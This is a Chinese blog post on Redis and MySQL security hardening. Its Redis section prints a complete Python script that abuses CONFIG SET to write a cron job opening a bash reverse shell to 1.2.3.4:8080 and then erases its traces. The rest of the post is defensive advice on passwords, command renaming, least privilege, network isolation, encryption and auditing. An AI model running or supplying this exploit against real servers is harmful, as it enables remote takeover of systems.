系统安全 - Redis&MySQL安全及实践

文章目录


导图


Redis 安全

Redis的设计初衷是为了在可信环境下提供高性能的KV数据库服务,因此它的安全设计较为简陋,这也导致了其在公开网络中的安全性较差。

潜在的安全风险

  • 数据篡改 :如果黑客成功连接到Redis服务器,他们可以通过命令如FLUSHALL清空所有数据。
  • 命令执行 :Redis虽然不能直接执行命令,但通过配置文件操作如CONFIG,攻击者可以间接写入如crontab的恶意任务,从而执行系统命令来控制服务器。
go 复制代码
import redis

r = redis.Redis(host='10.0.0.1', port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'

# 设置 Redis 键值对
r.set(key, payload)

# 配置 Redis 操作目录并保存恶意 payload 到 cron 文件
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()

# 删除 Redis 中的键值对,清除操作痕迹
r.delete(key)

# 将 Redis 的工作目录恢复到临时目录
r.config_set('dir', '/tmp')

利用 Redis 的 CONFIG 命令和一些其他命令来尝试进行恶意操作,在目标系统上植入一个反向 shell,并清除操作痕迹。这种攻击模式通常涉及篡改系统的 cron 任务计划文件 (/var/spool/cron) 来启动恶意 shell


防护措施

密码认证

redis.conf中设置requirepass来增加密码认证,虽然这可能会略微影响性能,但对于在不受信网络中的Redis部署,强密码认证是必不可少的,比较推荐随机生成一个 32 位的"数字加字母"的密码。

命令重命名

通过rename-command将敏感命令如CONFIGFLUSHALL重命名为随机字符串,避免黑客轻易调用这些命令。 比如 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho

权限最小化

Redis应以低权限用户(如nobody)运行,避免root权限运行,防止攻击者获取到过高的权限。(Redis 本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于 ROOT 权限)来保证正常运行)

日志和审计 Red

is的日志功能相对简单,没有详细的审计信息,因此在重要应用中,建议结合外部日志系统进行日志收集和分析。

网络隔离

建议通过防火墙或网络策略限制外部访问Redis实例,仅允许可信IP访问。


MySQL 安全

与Redis相比,MySQL作为一个成熟的关系型数据库,其安全机制要完善得多,提供了认证、授权、加密等一系列功能。

认证和授权

  • MySQL的多用户认证体系将用户的信息存储在mysql.user表中,并支持密码过期、密码重用限制、密码强度评估等功能,提供了较为全面的密码管理。
  • MySQL的授权机制通过GRANT命令赋予用户对特定数据库或表的权限,支持细粒度的权限控制。GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"

文件操作风险

  • MySQL提供了对本地文件的读写功能,例如通过LOAD DATA INFILE读取文件,SELECT ... INTO DUMPFILE写入文件。这些功能虽然方便,但如果配置不当,可能会被黑客利用来读取敏感文件或写入恶意脚本。

传输和存储加密

  • 传输加密 :MySQL支持通过SSL加密客户端和服务器之间的通信。通过配置ssl-cassl-certssl-key等参数可以启用SSL。

  • 存储加密 :MySQL支持基于keyring_file插件的硬盘加密,表密钥通过主密钥加密后存储在表的表头中。需要注意备份主密钥文件,以防止数据丢失。


最小权限原则

  • MySQL会自动创建一个权限较低的mysql用户用于运行MySQL进程,避免以root权限运行数据库实例。

审计

虽然MySQL本身不提供内置的审计功能,但可以通过第三方插件如McAfee的mysql-audit或MariaDB的审计插件进行操作日志的收集和分析。


总结

  • Redis:主要在于性能优先,因此其安全功能较少。通过设置密码、限制网络访问、使用非root用户运行等方式,能在一定程度上提升安全性。
  • MySQL:功能更加完善,具有强大的认证、授权、加密和最小权限配置,通过合理配置这些安全功能,可以显著提升MySQL的安全性。
相关推荐
java1234_小锋20 小时前
Java高频面试题:Redis的Key和Value的设计原则有哪些?
java·redis·面试
iPadiPhone20 小时前
流量洪峰下的数据守护者:InnoDB MVCC 全实现深度解析
java·数据库·mysql·面试
Javatutouhouduan20 小时前
SpringBoot整合reids:JSON序列化文件夹操作实录
java·数据库·redis·html·springboot·java编程·java程序员
APO Research21 小时前
工业连接件的隐形升级:杆端轴承正在从“标准件”走向“结构安全件”
大数据·安全·#工业零部件·#机械设计·#工业自动化·#杆端轴承·#机械结构件
java1234_小锋21 小时前
Java高频面试题:Redis里什么是缓存击穿、缓存穿透、缓存雪崩?
java·redis·缓存
KKKlucifer21 小时前
零信任架构下的安全服务:动态防御与持续合规双驱动
安全·架构
泯仲21 小时前
从零起步学习MySQL 第一章:初识MySQL及深入理解内部数据类型
数据库·mysql
一只鼠标猴21 小时前
甲方边界安全:WAF+防火墙 + 抗 DDoS 联合防护落地方案
安全·网络安全·安全架构·防火墙·waf·边界安全
y = xⁿ1 天前
【从零开始学习Redis|第四篇】从底层理解缓存问题:雪崩、击穿、穿透与一致性设计
java·redis·学习·缓存
雨后的天空@1 天前
Mac 安装多个版本的mysql
mysql